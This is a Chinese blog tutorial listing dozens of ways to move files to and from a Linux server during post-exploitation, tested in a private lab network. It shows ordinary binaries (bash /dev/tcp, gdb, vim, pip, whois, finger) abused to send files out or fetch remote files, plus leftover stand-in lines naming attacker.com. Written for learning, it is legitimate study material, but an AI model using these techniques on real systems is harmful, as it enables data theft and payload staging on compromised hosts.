linux之间安全传输文件,Linux系统在后渗透中的文件传输命令

一、操作目的和应用场景

本文介绍Linux系统中进行文件传输的方法,主要用于后渗透过程中。

在本文的每个例子中,标题中的命令都是在Linux服务器上执行的。

二、平台及工具版本

Linux服务器:CentOS 7,192.168.43.234(部分CentOS 7系统无法实现的,在Kali Linux系统中实现)

远程主机1:Linux Mint 20,192.168.43.237

远程主机2:windows xp,192.168.43.87

三、Linux服务器将文件上传到远程主机

1、bash

使用下面的命令将服务器本地文件上传到远程主机:

第一步,远程主机监听12345端口

nc -l -p 12345 > bash.get

第二步,Linux服务器创建测试文件并使用bash将文件上传到远程主机

echo "sent by bash." > bash.sent

bash -c 'cat bash.sent > /dev/tcp/192.168.43.237/12345'

e04d6525a2e0b553ed0e105d2cb46933.png

第三步,远程主机查看接收到的文件

1ac384617f3877b4da45df4926963ae9.png文件传输成功。

2、busybox

使用下面的命令将服务器本地文件上传到远程主机:

第一步,Linux服务器创建测试文件并使用busybox启动web服务器

echo "sent by busybox." > busybox.sent

//启动http服务,监听12345端口,指定当前目录为工作目录

busybox httpd -f -p 12345 -h .

第二步,远程主机从Linux主机下载文件

wget http://192.168.43.234:12345/busybox.sent -O busybox.get

3cc23fc26dea5c43557406b610cfc072.png

文件传输成功。

3、curl

使用下面的命令将服务器本地文件上传到远程主机:

第一步,远程主机启动phpstudy,创建文件,名为upload_file.php,内容如下:

if ($_FILES["file"]["error"] > 0)

{

echo "错误:" . $_FILES["file"]["error"] . "
";

}

else

{

//将文件保存在当前目录

move_uploaded_file($_FILES["file"]["tmp_name"], "./" . $_FILES["file"]["name"]);

echo "文件存储在: " . "./" . $_FILES["file"]["name"];

echo "\n";

}

?>

保存退出。将upload_file.php放在web发布目录中,之后启动web服务。文件上传的URL为:

http://192.168.43.87/upload/upload_file.php

第二步,Linux服务器创建测试文件并使用curl将文件上传到远程主机

echo "sent by curl" > curl.sent

curl http://192.168.43.87/upload/upload_file.php -F "file=@curl.sent" -v

0cd854bfdbb5915da6595e1ae8ab85fa.png

第三步,远程主机查看接收到的文件

3b60e75d5d742697fdba753ffccc91cb.png

文件传输成功。

4、finger

使用下面的命令将服务器本地文件上传到远程主机:

第一步,远程主机监听79端口

sudo nc -l -p 79 | base64 -d > finger.get

第二步,Linux服务器创建测试文件并使用finger上传文件

echo "sent by finger" > finger.sent

finger "$(base64 finger.sent)@192.168.43.237"

f4a8eed41ffe7b8a43339de2c689a153.png

第三步,远程主机查看收到的文件

69071ea79c18ceeff93e81aa9e5aeed9.png

文件传输成功。

5、ftp

使用下面的命令将服务器本地文件上传到远程主机:

第一步,远程主机启动ftp服务

sudo python3 -m pyftpdlib -w -p 21

2b0aa0f2a8acd1a9e293b90b99ad69b2.png

第二步,Linux服务器创建测试文件并使用ftp将文件上传到远程主机

echo "sent by ftp." > ftp.sent

ftp 192.168.43.237

put ftp.sent ftp.get

bcec119bc68ff7dbe671897798d174e5.png

第三步,远程主机查看接收到的文件

5dbbc6101a13bab033099f3096bd43d6.png

文件传输成功。

6、ftp-upload

使用下面的命令将服务器本地文件上传到远程主机:

第一步,远程主机启动ftp服务

sudo python3 -m pyftpdlib -w -p 21

2a5d66a35b4f4ba5a887e8f3ed8452c3.png

第二步,Linux服务器创建测试文件并使用ftp将文件上传到远程主机

echo "sent by ftp-upload." > ftp-upload.sent

perl ./ftp-upload -h 192.168.43.237 -u anonymous --password anonymous --as ftp-upload.get ftp-upload.sent

47f1154858eb5ca0b560ea46a3516c94.png

第三步,远程主机查看接收到的文件

9270481ff047605d192682d1df58dcaf.png

文件传输成功。

7、gdb

使用下面的命令将服务器本地文件上传到远程主机:

第一步,Linux服务器创建测试文件并使用gdb启动web服务

echo "sent by gdb." > gdb.sent

export LPORT=8888

gdb -nx -ex 'python import sys; from os import environ as e

if sys.version_info.major == 3: import http.server as s, socketserver as ss

else: import SimpleHTTPServer as s, SocketServer as ss

ss.TCPServer(("", int(e["LPORT"])), s.SimpleHTTPRequestHandler).serve_forever()' -ex quit

ef0a3336100e4b9d339e118b34e5c19f.png

第二步,远程主机从Linux服务器下载文件

wget http://192.168.43.234:8888/gdb.sent -O gdb.get

48a0b7939b2bac3e6596c53d5574f133.png

文件传输成功。

8、gimp

使用下面的命令将服务器本地文件上传到远程主机:

第一步,Linux服务器创建测试文件并使用gimp启动web服务

echo "sent by gimp." > gimp.sent

export LPORT=8888

gimp -idf --batch-interpreter=python-fu-eval -b 'import sys; from os import environ as e

if sys.version_info.major == 3: import http.server as s, socketserver as ss

else: import SimpleHTTPServer as s, SocketServer as ss

ss.TCPServer(("", int(e["LPORT"])), s.SimpleHTTPRequestHandler).serve_forever()'

第二步,远程主机从Linux服务器下载文件

wget http://192.168.43.234:8888/gimp.sent -O gimp.get

9fcd1e10f49c2a5e6deef036aa4e16ea.png

文件传输成功。

9、irb

使用下面的命令将服务器本地文件上传到远程主机:

第一步,Linux服务器创建测试文件并使用irb启动web服务

echo "sent by irb." > irb.sent

irb

require 'webrick'; WEBrick::HTTPServer.new(:Port => 8888, :DocumentRoot => Dir.pwd).start;

exit

d9a52da13c210475ff4d6af5a4d80fdb.png

第二步,远程主机从LInux服务器下载文件

wget http://192.168.43.234:8888/irb.sent -O irb.get

177d37b004feb0f68466a625dc86a87c.png

文件传输成功。

10、ksh

使用下面的命令将服务器本地文件上传到远程主机:

第一步,Linux服务器创建测试文件并使用ksh监听本地端口

echo "sent by ksh." > ksh.sent

ksh -c 'cat ksh.sent > /dev/tcp/192.168.43.237/12345'

d278af9fe0ee7954c124153a86f0f98e.png

第二步,远程主机从Linux服务器下载文件

9c4bc5be2a31e0f7dbc10bf72d1c9655.png

文件传输成功。

11、nc

使用下面的命令将服务器本地文件上传到远程主机:

第一步,远程主机监听端口

nc -l -p 12345 > netcat.get

第二步,Linux服务器创建测试文件并使用netcat将文件上传到远程主机

echo "sent by netcat." > netcat.sent

nc 192.168.43.237 12345 < netcat.sent

第三步,远程主机查看接收的文件

16eae23dcbbc52e355b6afcdbf11b521.png

文件传输成功。

12、openssl

使用下面的命令将服务器本地文件上传到远程主机:

第一步,远程主机创建证书并启动监听

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

openssl s_server -quiet -key key.pem -cert cert.pem -port 12345 > openssl.get

1261d1337fe6061607367c50d7b788bf.png

第二步,Linux服务器创建测试文件并使用openssl将文件上传到远程主机

echo "sent by openssl." > openssl.sent

openssl s_client -quiet -connect 192.168.43.237:12345 < "openssl.sent"

5bfa3bb227b88671b7d8a3947989c807.png

第三步,远程主机查看接收到的文件

70bf081b3d344c7ada46f1e3b37c3a6c.png文件传输成功。

13、php

使用下面的命令将服务器本地文件上传到远程主机:

第一步,Linux服务器创建测试文件并使用php启动web服务

echo "sent by php." > php.sent

php -S 192.168.43.234:8888

5a4e80d5227b6126bf89b422b29225cf.png

第二步,远程主机从Linux服务器下载文件

wget http://192.168.43.234:8888/php.sent -O php.get

96968eb33846fc32cd650e538eb7eb5b.png

文件传输成功。

14、pip

使用下面的命令将服务器本地文件上传到远程主机:

第一步,Linux服务器创建测试文件并使用pip启动web服务

echo "sent by pip." > pip.sent

export LPORT=8888

TF=$(mktemp -d)

echo 'import sys; from os import environ as e

if sys.version_info.major == 3: import http.server as s, socketserver as ss

else: import SimpleHTTPServer as s, SocketServer as ss

ss.TCPServer(("", int(e["LPORT"])), s.SimpleHTTPRequestHandler).serve_forever()' > $TF/setup.py

pip3 install $TF

aac445e80a02d43abd092bbf0857d68a.png

第二步,远程主机从Linux服务器下载文件

wget http://192.168.43.234:8888/pip.sent -O pip.get

6e172ced8ac692fbe4f2fb4672c8985f.png

文件传输成功。

注意,在本例中,pip所发布web内容位于临时目录中,但不是/tmp/tmp.PBrtM68K5v,而是在/tmp/pip-jtub6bzs-build,需要将pip.sent文件复制到该目录中才能下载。

15、python

第一步,Linux服务器创建测试文件并使用python启动web服务

echo "sent by easy_install" > easy_install.txt

python3 -m http.server 8080

8960635304ef16271ca238e9c3bd5e8c.png

第二步,远程主机从Linux服务器下载文件

wget http://192.168.43.234:8080/easy_install.txt

9a7ead3220a07a6777856efe5b7f78d2.png

文件传输成功。

16、restic

使用下面的命令将服务器本地文件上传到远程主机:

第一步,远程主机运行SSH服务并启用SFTP

systemctl start sshd

第二步,Linux服务器创建测试文件并使用restic将文件上传到远程主机

RHOST=192.168.43.237

RPORT=12345

echo "sent by restic." > restic.sent

//初始化存储仓库

restic -r sftp:root@192.168.43.237:/home/sftp/ftpuser1/upload init

04be2eee2482356d0268f40d304f94bf.png

//备份到远程存储仓库

restic -r sftp:root@192.168.43.237:/home/sftp/ftpuser1/upload backup restic.sent

60c1274835aea11c934b3b3b75e6748f.png

第三步,远程主机查看接收到的文件

a515ff5f1993996086595deb2b2c8e6e.png

文件传输成功。

17、rsync

使用下面的命令将服务器本地文件上传到远程主机:

第一步,远程主机启动ssh服务。

systemctl start sshd

第二步,Linux服务器创建测试文件并使用rsync将文件上传到远程主机

echo "sent by rsync." > rsync.sent

rsync -v -u -a -stat rsync.sent user1@192.168.43.237:/home/user1/rsync.get

a0ae59310ff348c3ab6caf901f32b14d.png

第三步,远程主机查看接收到的文件

a15c1ab33cf6f4d4d48358ff544835b1.png

文件传输成功。

18、ruby

使用下面的命令将服务器本地文件上传到远程主机:

第一步,Linux服务器创建测试文件并使用ruby启动web服务

echo "sent by ruby." > ruby.sent

ruby -run -e httpd . -p 8888

c565b86c281ed9cbb4edf7c791976405.png

第二步,远程主机从Linux服务器下载文件

wget http://192.168.43.234:8888/ruby.sent -O ruby.get

73d5291e176569b01b0b49dc2765d157.png

文件传输成功。

19、rvim

使用下面的命令将服务器本地文件上传到远程主机:

第一步,Linux服务器创建测试文件并使用rvim启动web服务

export LPORT=8888

echo "sent by rvim." > rvim.sent

rvim -c ':py import vim,sys; from os import environ as e

if sys.version_info.major == 3: import http.server as s, socketserver as ss

else: import SimpleHTTPServer as s, SocketServer as ss

ss.TCPServer(("", int(e["LPORT"])), s.SimpleHTTPRequestHandler).serve_forever()

vim.command(":q!")'

服务启动后命令窗口全黑。

第二步,远程主机从Linux服务器下载文件

a84b93e4a7709458a357704684cd2f36.png文件传输成功。

20、scp

使用下面的命令将服务器本地文件上传到远程主机:

第一步,远程主机启动ssh服务。

systemctl start sshd

第二步,Linux服务器创建测试文件并使用scp将文件上传到远程主机

echo "sent by scp." > scp.sent

scp scp.sent user1@192.168.43.237:/home/user1/scp.get

2300457fff2f416250621ead33b2b2c8.png

第三步,远程主机查看接收到的文件

5cfd055728757382b3ae8f8d61a07f85.png文件传输成功。

21、sftp

使用下面的命令将服务器本地文件上传到远程主机:

第一步,远程主机运行SSH服务并启用SFTP

systemctl start sshd

第二步,Linux服务器创建测试文件并使用sftp将文件上传到远程主机

echo "sent by sftp." > sftp.sent

sftp ftpuser1@192.168.43.237

put sftp.sent sftp.get

8bae6b8d6f691c40351d2879117b536d.png

第三步,远程主机查看收到的文件

ddc9e1909b91548a95dad182664c7374.png

文件传输成功。

22、smbclient

使用下面的命令将服务器本地文件上传到远程主机:

第一步,远程主机启动smb共享

sudo smbserver.py tmp ./  //smbclient在Impacker包中

e8dab4f02570f70e868f58ba546f634d.png

第二步,Linux服务器创建测试文件并使用smbclient将文件上传到远程主机

echo "sent by smbclient." > smbclient.sent

smbclient '\\192.168.43.237\TMP' -c 'put smbclient.sent smbclient.get'

80b3e8b2231f2f7bf5c97e31b9495cfc.png

第三步,远程主机查看收到的文件

20c5c7a01984ef72e9535dd40ba95fab.png

文件传输成功。

23、socat

使用下面的命令将服务器本地文件上传到远程主机:

第一步,远程主机启动监听

socat -u TCP-LISTEN:9876,reuseaddr OPEN:out.txt,creat && cat out.txt

第二步,Linux服务器创建测试文件并使用socat将文件上传到远程主机

echo "sent by nmap." > nmap.sent

socat -u FILE:nmap.sent TCP:192.168.43.237:9876

第三步,远程主机查看接收到的文件

e7d7023e6c6b6bc5d9c00c3be37f9c2a.png

文件传输成功。

24、ssh

使用下面的命令将服务器本地文件上传到远程主机:

第一步,远程主机运行ssh服务。

systemctl start sshd

第二步,Linux服务器创建测试文件并使用ssh将文件上传到远程主机

echo "sent by ssh." > ssh.sent

ssh user1@192.168.43.237 "cat > ssh.get" < ssh.sent

d054939cd55d13ebbe3eb0c570601464.png

第三步,远程主机查看接收到的文件

3e4d4b6fbaadc6f808c8f008e020066c.png

文件传输成功。

25、tar

使用下面的命令将服务器本地文件上传到远程主机:

第一步,远程主机运行ssh服务

systemctl start sshd

第二步,Linux服务器创建测试文件并使用tar将文件上传到远程主机

echo "sent by tar." > tar.sent

tar cvf user1@192.168.43.237:tar.get tar.sent --rsh-command=/bin/ssh

900b9cc8506a0649f36fd98529c37d5d.png

第三步,远程主机查看接收到的文件

9df33ea2ad5cbf0e723ea1f96aa5b723.png

文件传输成功。

26、tftp

使用下面的命令将服务器本地文件上传到远程主机:

第一步,远程主机运行TFTP服务

apt-get install atftpd  //安装tftp服务程序

mkdir /tmp/backup  //创建目录

chmod 777 /tmp/backup  //修改权限

sudo atftpd --daemon --port 69 /tmp/backup  //启动服务程序

43faaab0d4aa402d3ed400db0905e35c.png

第二步,Linux服务器创建测试文件并使用tftp将文件上传到远程主机

echo "sent by tftp." > tftp.sent

tftp 192.168.43.237

put tftp.sent tftp.get

e5f127d651bd19b6f7ac1eda9f45d08f.png

第三步,远程主机查看接收到的文件

e04d64dbcf65b06cbc3720e5723e5a62.png

文件传输成功。

27、vim

使用下面的命令将服务器本地文件上传到远程主机:

第一步,Linux服务器创建测试文件并使用vim启动web服务器

echo "sent by vim." > vim.sent

export LPORT=8888

vim -c ':py import vim,sys; from os import environ as e

if sys.version_info.major == 3: import http.server as s, socketserver as ss

else: import SimpleHTTPServer as s, SocketServer as ss

ss.TCPServer(("", int(e["LPORT"])), s.SimpleHTTPRequestHandler).serve_forever()

vim.command(":q!")'

第二步,远程主机从Linux服务器下载文件

1adc38447f9e04b9434ec23d0f05031c.png

文件传输成功。

28、whois

使用下面的命令将服务器本地文件上传到远程主机:

方法1

第一步,远程主机启动监听

nc -l -p 12345 > whois.get

第二步,Linux服务器创建测试文件并使用whois将文件上传到远程主机

echo "sent by whois." > whois.sent

whois -h 192.168.43.237 -p 12345 "`cat whois.sent`"

d95773327537b5996639cb4f8421cb00.png

第三步,远程主机查看接收到的文件

a2551e04bfd483268fee4591ca089104.png

文件传输成功。

方法2

第一步,远程主机启动监听

nc -l -p 12345 | tr -d $'\x0d' | base64 -d > whois.get

第二步,Linux服务器创建测试文件并使用whois将文件上传到远程主机

echo "sent by whois again." > whois.sent

whois -h 192.168.43.237 -p 12345 "`base64 whois.sent`"

63f64c9d718f76912fa6e8bb89236713.png

文件传输成功。

三、Linux服务器从远程主机下载文件

1、bash

使用下面的命令将文件从远程主机下载到Linux服务器本地:

第一步,远程主机创建测试文件并监听端口

echo "get by bash." > bash.sent

nc -l -p 12345 < bash.sent

2a72f5ddb42fbf4b603dc751e5b69c9b.png

第二步,Linux服务器使用bash从远程主机下载文件

bash -c 'cat < /dev/tcp/192.168.43.237/12345 > bash.get'

63cb1df3a9bdf7673402a60d3a50bb09.png文件传输成功。

2、curl

使用下面的命令将文件从远程主机下载到Linux服务器本地:

第一步,远程主机创建测试文件并启动web服务

echo "get by curl." > curl.sent

python3 -m http.server 8080

dd9cf70cbfa42c98270bd8c40083b6c1.png

第二步,Linux服务器使用curl从远程主机下载文件

curl http://192.168.43.237:8080/curl.sent -o curl.get

4c3b8060d82aaffca79ed9818bfed169.png

文件传输成功。

3、finger

使用下面的命令将文件从远程主机下载到Linux服务器本地:

第一步,远程主机创建测试文件并运行netcat监听端口

echo "get by finger." > finger.sent

base64 "finger.sent" | sudo nc -l -p 79

2b0e1182e0286a3a87d86f9be3e15b95.png

第二步,Linux服务器使用finger从远程主机下载文件

finger @192.168.43.237 | grep -v 192.168.43.237 | base64 -d > finger.get

e713c09553f736f220eaeae1379704ce.png

文件传输成功。

4、ftp

使用下面的命令将文件从远程主机下载到Linux服务器本地:

第一步,远程主机创建测试文件并启动FTP服务

echo "get by ftp." > ftp.sent

python3 -m pyftpdlib -p 2121

1499590d5be9d135cd0814f92bce10d8.png

第二步,Linux服务器使用ftp从远程主机下载文件

ftp 192.168.43.237

get ftp.sent ftp.get

7be3e1202e51adfaccf2b171abec2100.png

文件传输成功。

5、gdb

使用下面的命令将文件从远程主机下载到Linux服务器本地:

第一步,远程主机创建测试文件并启动web服务

echo "get by gdb." > gdb.sent

python3 -m http.server 8080

b0f0d040d28bedd55fdec6de5f74f9a6.png

第二步,Linux服务器使用gdb下载文件

export URL=http://192.168.43.237:8080/gdb.sent

export LFILE=gdb.get

gdb -nx -ex 'python import sys; from os import environ as e

if sys.version_info.major == 3: import urllib.request as r

else: import urllib as r

r.urlretrieve(e["URL"], e["LFILE"])' -ex quit

cad3527058c6d56e3409024c6920ad1c.png

文件传输成功。

6、gimp

使用下面的命令将文件从远程主机下载到Linux服务器本地:

第一步,远程主机创建测试文件并启动web服务

echo "get by gimp." > gimp.sent

python3 -m http.server 8080

0a8411f6355d574540068f30d1fa80da.png

第二步,Linux服务器使用gimp下载文件

export URL=http://192.168.43.237:8080/gimp.sent

export LFILE=gimp.get

gimp -idf --batch-interpreter=python-fu-eval -b 'import sys; from os import environ as e

if sys.version_info.major == 3: import urllib.request as r

else: import urllib as r

r.urlretrieve(e["URL"], e["LFILE"])'

ff513cb40b5db0ffcc4ae6c704df1d04.png

文件传输成功。

7、irb

使用下面的命令将文件从远程主机下载到Linux服务器本地:

第一步,远程主机创建测试文件并启动web服务

echo "get by irb." > irb.sent

python3 -m http.server 8080

99d540de118ee234d00561b84602e61f.png

第二步,Linux服务器使用irb下载文件

export URL=http://192.168.43.237:8080/irb.sent

export LFILE=irb.get

irb

require 'open-uri'; download = open(ENV['URL']); IO.copy_stream(download, ENV['LFILE'])

eefc81dad956900f59e31cedcfc36160.png

文件传输成功。

8、jjs

使用下面的命令将文件从远程主机下载到Linux服务器本地:

第一步,远程主机创建测试文件并启动web服务

echo "get by jjs." > jjs.sent

python3 -m http.server 8080

4a00d1600e9dfe726a227028d3899c3f.png

第二步,Linux服务器使用jjs下载文件

export URL=http://192.168.43.237:8080/jjs.sent

export LFILE=jjs.get

echo "var URL = Java.type('java.net.URL');

var ws = new URL('$URL');

var Channels = Java.type('java.nio.channels.Channels');

var rbc = Channels.newChannel(ws.openStream());

var FileOutputStream = Java.type('java.io.FileOutputStream');

var fos = new FileOutputStream('$LFILE');

fos.getChannel().transferFrom(rbc, 0, Number.MAX_VALUE);

fos.close();

rbc.close();" | jjs

991079049a7a3c66899a6737391aaa21.png

文件传输成功。

9、jrunscript

使用下面的命令将文件从远程主机下载到Linux服务器本地:

第一步,远程主机创建测试文件并启动web服务

echo "get by jrunscript." > jrunscript.sent

python3 -m http.server 8080

7031e74238040f704701dae20703863c.png

第二步,Linux服务器使用irb下载文件

export URL=http://192.168.43.237:8080/jrunscript.sent

export LFILE=jrunscript.get

jrunscript -e "cp('$URL','$LFILE')"

0788cc118a5567150f7df173ea2ee99d.png

文件传输成功。

10、ksh

使用下面的命令将文件从远程主机下载到Linux服务器本地:

第一步,远程主机创建测试文件并运行netcat监听端口

echo "get by bash." > ksh.sent

nc -l -p 12345 < ksh.sent

2aa67cf1e3dbf7255f5638d689116371.png

第二步,Linux服务器使用ksh下载文件

ksh -c 'cat < /dev/tcp/192.168.43.237/12345 > ksh.get'

ee20d9da2462daa1826b1b427523c038.png

文件传输成功。

11、lwp-download

使用下面的命令将文件从远程主机下载到Linux服务器本地:

第一步,远程主机创建测试文件并启动web服务

echo "get by lwp-download." > lwp-download.sent

python3 -m http.server 8080

14bee94a297b54ccdfd4a060f8e232f5.png

第二步,Linux服务器使用lwp-download下载文件

URL=http://attacker.com/file_to_get

LFILE=file_to_save

lwp-download http://192.168.43.237:8080/lwp-download.sent lwp-download.get

2952b264dc73e89f6fc15a868ca88c0e.png

文件传输成功。

12、nc

使用下面的命令将文件从远程主机下载到Linux服务器本地:

第一步,远程主机创建测试文件并运行netcat监听端口

echo "get by netcat." > netcat.sent

nc -l -p 12345 < netcat.sent

7c3a7ba3df54e4c4a2f4d2db66ee7c6b.png

第二步,Linux服务器使用netcat下载文件

nc -l -p 12345 > netcat.get

nc 192.168.43.237 12345 > netcat.get

651046e7425762452405eba8a5dd111d.png

文件传输成功。

13、openssl

使用下面的命令将文件从远程主机下载到Linux服务器本地:

第一步,远程主机创建测试文件并创建证书并启动监听

echo "get by openssl." > openssl.sent

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

openssl s_server -quiet -key key.pem -cert cert.pem -port 12345 < openssl.sent

a9fd60a4d02aa0cda6ef562deb777980.png

第二步,Linux服务器使用openssl从远程主机下载文件

openssl s_client -quiet -connect 192.168.43.237:12345 > openssl.get

b8feabed6bae9b05df77c3a4914411f7.png

文件传输成功。

14、php

使用下面的命令将文件从远程主机下载到Linux服务器本地:

第一步,远程主机创建测试文件并启动web服务

echo "get by php." > php.sent

python3 -m http.server 8080

ba1d2ce1b5d072168ad630a5e731c987.png

第二步,Linux服务器使用php下载文件

export URL=http://192.168.43.237:8080/php.sent

export LFILE=php.get

php -r '$c=file_get_contents(getenv("URL"));file_put_contents(getenv("LFILE"), $c);'

d7ed692738b850cb2c7fff67fffd4717.png

文件传输成功。

15、pip

使用下面的命令将文件从远程主机下载到Linux服务器本地:

第一步,远程主机创建测试文件并启动web服务

echo "get by pip." > pip.sent

python3 -m http.server 8080

99858e7153abe499893e52277e3337d4.png

第二步,Linux服务器使用pip下载文件

export URL=http://192.168.43.237:8080/pip.sent

export LFILE=/home/user1/pip.get

TF=$(mktemp -d)

echo 'import sys; from os import environ as e

if sys.version_info.major == 3: import urllib.request as r

else: import urllib as r

r.urlretrieve(e["URL"], e["LFILE"])' > $TF/setup.py

pip3 install $TF

8fc538e691b0abb34ec22b388d3f0084.png

文件传输成功。

16、python

使用下面的命令将文件从远程主机下载到Linux服务器本地:

第一步,远程主机创建测试文件并启动web服务

echo "get by python." > python.sent

python3 -m http.server 8080

7b26de632fffe61da3d44d2f27c8335b.png

第二步,Linux服务器使用python下载文件

export URL=http://192.168.43.237:8080/python.sent

export LFILE=python.get

python -c 'import sys; from os import environ as e

if sys.version_info.major == 3: import urllib.request as r

else: import urllib as r

r.urlretrieve(e["URL"], e["LFILE"])'

6d3454e53230d8deb2d5aa35e6dae90c.png

文件传输成功。

17、ruby

使用下面的命令将文件从远程主机下载到Linux服务器本地:

第一步,远程主机创建测试文件并启动web服务

echo "get by ruby." > ruby.sent

python3 -m http.server 8080

58003406966c267be6c9da541208f7bc.png

第二步,Linux服务器使用ruby下载文件

export URL=http://192.168.43.237:8080/ruby.sent

export LFILE=ruby.get

ruby -e 'require "open-uri"; download = open(ENV["URL"]); IO.copy_stream(download, ENV["LFILE"])'

b67ba23cd6a2838d40f8f1465746b166.png

文件传输成功。

18、rvim

使用下面的命令将文件从远程主机下载到Linux服务器本地:

第一步,远程主机创建测试文件并启动web服务

echo "get by rvim." > rvim.sent

python3 -m http.server 8080

c278ee681ab97ead39a367492c2f78fc.png

第二步,Linux服务器使用rvim下载文件

export URL=http://192.168.43.237:8080/rvim.sent

export LFILE=rvim.get

rvim -c ':py import vim,sys; from os import environ as e

if sys.version_info.major == 3: import urllib.request as r

else: import urllib as r

r.urlretrieve(e["URL"], e["LFILE"])

vim.command(":q!")'

6e7bb0315a550b967e2a31895dfd8b61.png文件传输成功。

19、scp

使用下面的命令将文件从远程主机下载到Linux服务器本地:

第一步,远程主机创建测试文件并启动SSH服务

echo "get by scp." > /home/user1/scp.sent

sudo systemctl start sshd

79fb351ca9ee1c4e4454852fee2fdde7.png

第二步,Linux服务器使用scp下载文件

scp user1@192.168.43.237:/home/user1/scp.sent /home/user1/scp.get

ebccd27ed73e7cd42a1597ad7666439a.png

文件传输成功。

20、sftp

使用下面的命令将文件从远程主机下载到Linux服务器本地:

第一步,远程主机创建测试文件并运行SSH服务、启用SFTP

echo "get by sftp." > /home/sftp/ftpuser1/sftp.sent

systemctl start sshd

fc8af43dcddb82a1d0107e43066cd4b2.png

第二步,Linux服务器使用sftp下载文件

sftp ftpuser1@192.168.43.237

get sftp.sent sftp.get

6fce34b8e6e0a5db84b5e1747c408617.png

文件传输成功。

21、smbclient

使用下面的命令将文件从远程主机下载到Linux服务器本地:

第一步,远程主机创建测试文件并启动smb共享

echo "get by smbclient." > smbclient.sent

sudo smbserver.py tmp ./

89519bf464cdf4f421b5c1244a567b15.png

第二步,Linux服务器使用smbclient下载文件

smbclient '\\192.168.43.237\TMP' -c 'get smbclient.sent smbclient.get'

2200008ab937bae496f1d9ee0f46e763.png

文件传输成功。

22、socat

使用下面的命令将文件从远程主机下载到Linux服务器本地:

第一步,远程主机创建测试文件并运行socat监听端口

echo "get by socat." > socat.sent

socat -u file: socat.sent tcp-listen:12345,reuseaddr

f8b68b1913769e3b6cbb2655e089a2bf.png

第二步,Linux服务器运行socat下载文件

socat -u tcp-connect:192.168.43.237:12345 open:socat.get,creat

78eb173f4347d00b0f468439d9f73059.png

文件传输成功。

23、ssh

使用下面的命令将文件从远程主机下载到Linux服务器本地:

第一步,远程主机创建测试文件并运行SSH服务

echo "get by ssh." > /home/user1/ssh.sent

sudo systemctl start sshd

3628d801b3d2daad92aaeacb98abe004.png

第二步,Linux服务器使用ssh下载文件

ssh 192.168.43.237 "cat /home/user1/ssh.sent" > ssh.get

c4ed73e96199bb99bb15e84eee8a876a.png

文件传输成功。

24、tar

使用下面的命令将文件从远程主机下载到Linux服务器本地:

第一步,远程主机创建测试文件并运行SSH服务

echo "get by tar." > tar.sent

tar cvf tar.sent.tar tar.sent

sudo systemctl start sshd

42dc668ec2d771518098356a259d425d.png

第二步,Linux服务器使用tar下载文件

RHOST=attacker.com

RUSER=root

RFILE=/tmp/file_to_get.tar

tar xvf $RUSER@$RHOST:$RFILE --rsh-command=/bin/ssh

tar xvf user1@192.168.43.237:/home/user1/tar.sent.tar --rsh-command=/bin/ssh

d95dfd5b39bb81666f358df5bfb47292.png

文件传输成功。

25、tftp

使用下面的命令将文件从远程主机下载到Linux服务器本地:

第一步,远程主机创建测试文件并运行TFTP服务

mkdir /tmp/backup  //创建目录

echo "get by tftp." > /tmp/backup/tftp.sent

chmod 777 /tmp/backup  //修改权限

sudo atftpd --daemon --port 69 /tmp/backup  //启动服务程序

caaad6ee56689dec1a789c163e4557bd.png

第二步,Linux服务器使用tftp下载文件

tftp 192.168.43.237

get tftp.sent tftp.get

quit

97ba718a2ceead8240f2031f21d34286.png文件传输成功。

26、vim

使用下面的命令将文件从远程主机下载到Linux服务器本地:

第一步,远程主机创建测试文件并启动web服务

echo "get by vim." > vim.sent

python3 -m http.server 8080

8fb3c580fc1df19e706639fa3a9fec6a.png

第二步,Linux服务器使用vim下载文件

export URL=http://192.168.43.237:8080/vim.sent

export LFILE=vim.get

vim -c ':py import vim,sys; from os import environ as e

if sys.version_info.major == 3: import urllib.request as r

else: import urllib as r

r.urlretrieve(e["URL"], e["LFILE"])

vim.command(":q!")'

0a654c45ed46a1db2a7e5b1e4e835ba0.png

文件传输成功。

27、wget

使用下面的命令将文件从远程主机下载到Linux服务器本地:

第一步,远程主机创建测试文件并启动web服务

echo "get by wget." > wget.sent

python3 -m http.server 8080

374dc7e7198af805fc4f84b1219ff52e.png

第二步,Linux服务器使用wget下载文件

wget http://192.168.43.237:8080/wget.sent -O wget.get

78e296c986443818069da84cae464958.png

文件传输成功。

28、whois

使用下面的命令将文件从远程主机下载到Linux服务器本地:

第一步,远程主机创建测试文件并运行netcat监听端口

echo "get by whois." > whois.sent

nc -l -p 12345 < whois.sent

025a6c76f2d96044826efb591be3db6f.png

第二步,Linux服务器使用whois下载文件

whois -h 192.168.43.237 -p 12345 '任意字符串' > whois.get

3bb715b3aa3ca23e55212d7a95a80707.png文件传输成功。

或者使用下面的方法:

第一步,远程主机运行netcat监听端口

echo "get by whois again." > whois.sent

base64 "whois.sent" | nc -l -p 12345

e1043c56f8651d7d6b32d968c425444d.png

第二步,Linux服务器使用whois下载文件

whois -h 192.168.43.237 -p 12345 "abc" | base64 -d > whois.get

534311aa2f6c8b9d6287446ee747ca7c.png

"abc"为任意字符,必须输入,不输入则报错。

文件传输成功。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值